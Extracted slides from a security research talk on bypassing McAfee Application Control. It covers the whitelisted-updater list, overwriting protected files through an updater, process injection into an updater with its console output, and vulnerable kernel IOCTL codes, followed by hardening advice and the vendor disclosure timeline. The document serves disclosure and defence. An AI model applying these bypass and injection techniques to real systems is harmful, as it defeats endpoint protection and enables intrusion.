   -t McAfee42         ePolicy Orchestrator\EventParser.exe
   -t McAfee25         ePolicy Orchestrator\Server\bin\tomcat5.exe
   -t McAfee43         ePolicy Orchestrator\Server\bin\tomcat7.exe
   -t MVM2             FCAgent.exe
   -t MVM1             FCPatchInstallAgent.exe
   -t McAfee32         firesvc.exe
   -t FlashplayerUpdateService1 FlashplayerUpdateService.exe
   -t McAfee18         FramePkg.exe
   -t McAfee1          Frameworkservice.exe
   -t McAfee10         Framew~1.exe
   -t McAfee36         FSAssessment.exe
   -t McAfee35         FSDiscovery.exe
   -t McAfee39         FSScanCtrlSvc.exe
   -t McAfee37         FSScanEngineSvc.exe
   -t McAfee23         HIPSvc.exe
Bypassing McAfee's Application Whitelisting for critical infrastructure systems

-t McAfee22     HtmlDlg.exe
-t McAfee16     iexplore.exe -l mcinsctl.dll
-d -t HP_Quality_Center1 iexplore.exe -l QCClient.UI.Core.dll
-t J2RE2        ikernel.exe -p svchost.exe
-t J2RE1        ikernel.exe -p winlogon.exe
-t JavaUpdate2   Java\Java Update\jucheck.exe
-t JavaUpdate1   Java\Java Update\jusched.exe
-t McAfee46     McAfee\Real Time\rtclient.exe
-t McAfee9      Mcappins.exe
-t McAfee41     McCHSsvc.exe
-t McAfee14     mcmnhdlr.exe
-n -t McAfee19   mcods.exe
-t McAfee31     McSACore.exe
-t McAfee8      McScript.exe
-t McAfee11     McScript_InUse.exe
-t McAfee20     mcshell.exe
-t McAfee7      McShield.exe
-t McAfee40     McSvcHost.exe
-t McAfee44     McTELSvc.exe
-t McAfee45     McTELUpd.exe
-t McAfee30     McTray.exe
Bypassing Read- and Write-Protection

-t McAfee3  Mcupdater.exe
-t McAfee6  Mcupdmgr.exe
-t McAfee12 McVSEscn.exe
-t McAfee15 Mcvrsre.exe
-t McAfee13 mcvsshld.exe
-d -t McAfee24 mer.exe
-t McAfee5  Mghml.exe
-t MozillaMaintenanceService1 Mozilla Maintenance Service\maintenanceservice.exe
-t McAfee2  Msshield.exe
-t McAfee21 myAgtSvc.exe
-t NvidiaDaemonu1 NVIDIA Corporation\NVIDIA Update Core\daemonu.exe
-t McAfee38 ReportServer.exe
-t MCGroupShield1 RPCServ.exe
-t McAfee34 RSSensor.exe
-t McAfee29 SBadduser.exe
-t McAfee17 scan32.exe
-t PRINTER1 spoolsv.exe
-t McAfee33 Supportability\MVT\MvtApp.exe
-t METROAPP1 svchost.exe -l appxdeploymentserver.dll
-t METROAPP2 svchost.exe -l wsservice.dll
-t WindowsSQMConsolidator1 system32\Wsqmcons.exe
Bypassing Read- and Write-Protection

-t SERVERROLES2 tiworker.exe
-t McAfee4 udaterui.exe
-t McAfee26 VirusScan Enterprise\VsTskMgr.exe
-t McAfee28 VirusScan Enterprise\x64\EngineServer.exe
-t McAfee27 VirusScan Enterprise\x64\Scan64.exe
-t WINDOWS1 webfldrs.msi
Bypassing Read- and Write-Protection

• Updaters can overwrite write-protected and whitelisted applications / scripts

```c
C:\>copy test2.exe test.exe
Overwrite test.exe? <Yes/No/All>: Yes
Access is denied.
  0 file(s) copied.

C:\>test.exe
old

C:\>myUpdater.exe
Going to call CopyFileA("C:\test2.exe","C:\test.exe", false)

C:\>test.exe
new

C:\>copy test2.exe test.exe
Overwrite test.exe? <Yes/No/All>: Yes
Access is denied.
  0 file(s) copied.
```
Bypassing Read- and Write-Protection

- **Attack:**
  - Achieve code execution (basic code execution → full code execution)
  - Optional: start an update process (runs with user privileges)
  - Inject code into the update process
    - openProcess()
    - VirtualAllocEx()
    - WriteProcessMemory()
    - CreateRemoteThread()
Bypassing Read- and Write-Protection

C:\> test.bat
C:\> echo old
old
C:\> echo "echo foobar" > test.bat
Access is denied.

C:\> inject.exe
Found jucheck.exe with PID: 0x8b4
Successfully opened process with PID 0x8b4
Allocated new memory at: 00960000
Wrote shellcode to memory: 00960000
CreateRemoteThread to start shellcode...

C:\> test.bat
C:\> echo new
new
C:\> echo "echo foobar" > test.bat
Access is denied.

C:\> sadmin updaters list | findstr jucheck.exe
Password:
    -t JavaUpdate2    Java\Java Update\jucheck.exe
Bypassing Read- and Write-Protection

- Injection into scsrvc.exe

- Requires administrative privileges
  - UAC must also be bypassed

- By exploiting it we can
  - Read C:\Program Files\McAfee\Solidcore\passwd
  - Remove C:\Program Files\McAfee\Solidcore\passwd
  - Change configuration in registry
    - E.g. add TrustedVolume to completely bypass Application Whitelisting
The Kernel Side
The Kernel Side

- Driver: `C:\Windows\system32\drivers\swin1.sys`

- Driver contains several vulnerabilities

- These vulnerabilities can maybe be exploited → Privilege escalation from low privileged user to SYSTEM

- Exploits were not developed for these vulnerabilities
The Kernel Side

- **Vulnerable IOCTL-codes:**
  - 0xb37031f0
  - 0xb37031f8
  - 0xb37031fc
  - 0xb370320c
  - 0xb3703200
  - 0xb3703204
  - 0xb3703208
  - 0xb3703214
The Kernel Side

A problem has been detected and windows has been shut down to prevent damage to your computer.

FILE_SYSTEM

If this is the first time you've seen this stop error screen, restart your computer. If this screen appears again, follow these steps:

Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any Windows updates you might need.

If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.

Technical information:

*** STOP: 0x000000022 (0x0000000065056550,0xFFFFF88002DDA328,0xFFFFF88002DD9B80,0xFFFFF880012A58CC)

*** swin.sys - Address FFFFF880012A58CC base at FFFFF88001223000, DateStamp 53408600

Collecting data for crash dump ...
Initializing disk for crash dump ...
Beginning dump of physical memory.
Dumping physical memory to disk: 40
Demos
Demos (3/6)
Conclusion
Conclusion

• Application Whitelisting can protect against trivial attacks

• APT attackers can easily bypass the protections with the described techniques

• In some cases the application even lowers the security of the operating system
  • Allocation of a RWE section in all processes
  • Kernel vulnerabilities which allow privilege escalation
Hardening Guidelines (1/2)

• **Regularly apply software and system updates**

• Use a strong password (McAfee Application Control does not implement a password complexity requirement)

• Remove from the list of default whitelisted applications:
  • All occurrences of powershell.exe
  • Remove the ZIP application installed by McAfee
  • Remove all interpreters (python, perl, ...)
  • Remove all debuggers
  • In general: Only whitelist required software (Whitelist vs. Blacklist)
Hardening Guidelines (2/2)

- Disable memory corruption protection
- Add JS / HTA to the list of protected scripts
- Remove all updaters
- Do not configure trusted volumes
- Find more information in the advisory
  
  https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150728-0_McAfee_Application_Control_Multiple_Vulnerabilities_v10.txt
Vendor response

- RWX memory vulnerability confirmed

<table>
<thead>
<tr>
<th>Section 2.2.4</th>
<th>Memory Corruption Exploitation – Windows 7.1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Comments</td>
<td>scinject.dll is loaded into RWX memory, but MAC’s mp-vasr feature rebases the address and hides the location. <strong>The exploitability complexity is very high, therefore risk is low.</strong> We will consider fixing this in the next release of MAC.</td>
</tr>
<tr>
<td>Result</td>
<td><strong>Vulnerable</strong></td>
</tr>
<tr>
<td>Overall CVSS score</td>
<td>3.5/2.6 (Low)</td>
</tr>
</tbody>
</table>


source: Response to Critical Vulnerabilities in McAfee Application Control SBC1506031
Vendor response

- ZIP application from 1999 with buffer overflow confirmed

<table>
<thead>
<tr>
<th>Section 2.2.4</th>
<th>Memory Corruption Exploitation - Exploitation of Installed ZIP application</th>
</tr>
</thead>
<tbody>
<tr>
<td>Comments</td>
<td>The utilities shipped with the MAC product will be upgraded in the next version, the risk is low since MAC mitigates the buffer overflow risk. There is no POC available regarding how to exploit this and what impact will it have on the system.</td>
</tr>
<tr>
<td>Result</td>
<td>Vulnerable</td>
</tr>
<tr>
<td>Overall CVSS Score</td>
<td>1.5/1.1 (Low)</td>
</tr>
</tbody>
</table>

Source: McAfee, SBC1506031, 13 July 2015
Response to Critical Vulnerabilities in McAfee Application Control

Vendor response

- Other bypasses / vulnerabilities will not be fixed

<table>
<thead>
<tr>
<th>Section 2.2.1</th>
<th>Abuse of whitelisted Applications - PowerShell</th>
</tr>
</thead>
<tbody>
<tr>
<td>Comments</td>
<td>McAfee Application Control (MAC) does not allow any whitelisted application to execute any untrusted or unauthorized application. Other technique mentioned are theoretical and there is no POC available or any mention of the impact to the system due to this. If there is no PowerShell script execution, the admin can ban this application.</td>
</tr>
<tr>
<td>Result</td>
<td>Not Vulnerable</td>
</tr>
<tr>
<td>Overall CVSS Score</td>
<td>Not Applicable</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Section 3.1</th>
<th>Bypassing Read Write Protection – By Code Injection into Update -Process</th>
</tr>
</thead>
<tbody>
<tr>
<td>Comments</td>
<td>Code injection requires a user to be logged in as admin user and be able to execute untrusted binary or library to inject into update process. McAfee Application Control will not allow execution of unauthorized executables.</td>
</tr>
<tr>
<td>Result</td>
<td>Not Vulnerable</td>
</tr>
<tr>
<td>Overall CVSS Score</td>
<td>Not Applicable</td>
</tr>
</tbody>
</table>

Source: McAfee, SBC1506031, 13 July 2015
Response to Critical Vulnerabilities in McAfee Application Control
Vendor response

- Other bypasses / vulnerabilities will not be fixed

<table>
<thead>
<tr>
<th>Issue 4</th>
<th>Kernel Driver Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>Comments</td>
<td>Sending IOCTL to McAfee Application Control (MAC) requires administrative privilege and also requires it to run as an untrusted binary or library to send to IOCTL. <strong>MAC will not allow execution of unauthorized executables.</strong> It is already under discussion and we are considering fixing this in the next release of MAC.</td>
</tr>
<tr>
<td>Result</td>
<td>Not Vulnerable</td>
</tr>
<tr>
<td>Overall CVSS Score</td>
<td>Not Applicable</td>
</tr>
</tbody>
</table>

Source: McAfee, SBC1506031, 13 July 2015
Response to Critical Vulnerabilities in McAfee Application Control
Timeline

2015-06-03: Contacting vendor through security-alerts@mcafee.com
  Sending PGP encrypted whitepaper to vendor.
  Informed McAfee about the latest possible release date: 2015-07-24.
2015-06-04: Vendor response - issues will be tracked with case ID SBC1506031
2015-06-08: SEC Consult asked for a release date of a fix.
2015-07-02: SEC Consult asked for a release date of a fix and the current status.
2015-07-14: Vendor response - Vendor confirmed vulnerabilities 1) and 2).
  Vulnerabilities 3), 4) and 5) are classified as "not vulnerable"
  because an attacker requires code execution to exploit them.
  Vulnerabilities 1) and 2) are classified as low risk vulnerabilities.
  A patch will therefore not be available, a fix is planned for the next
  version update which will be released by end of Q3.
2015-07-21: SEC Consult informed McAfee that an advisory will be released on 28.07.2015.
  SEC Consult informed McAfee that vulnerabilities 3), 4)
  and 5) should be fixed as well because code execution can easily be
  achieved on a default installation of McAfee Application Control and
  therefore it's possible to exploit all the described vulnerabilities.
2015-07-28: Public release of the advisory
2015-11-06: Presentation at IT-SeCX; Tests conducted with version 6.1.3.353
  **Current Version is 6.2.0-446**
  **Status: Nothing fixed**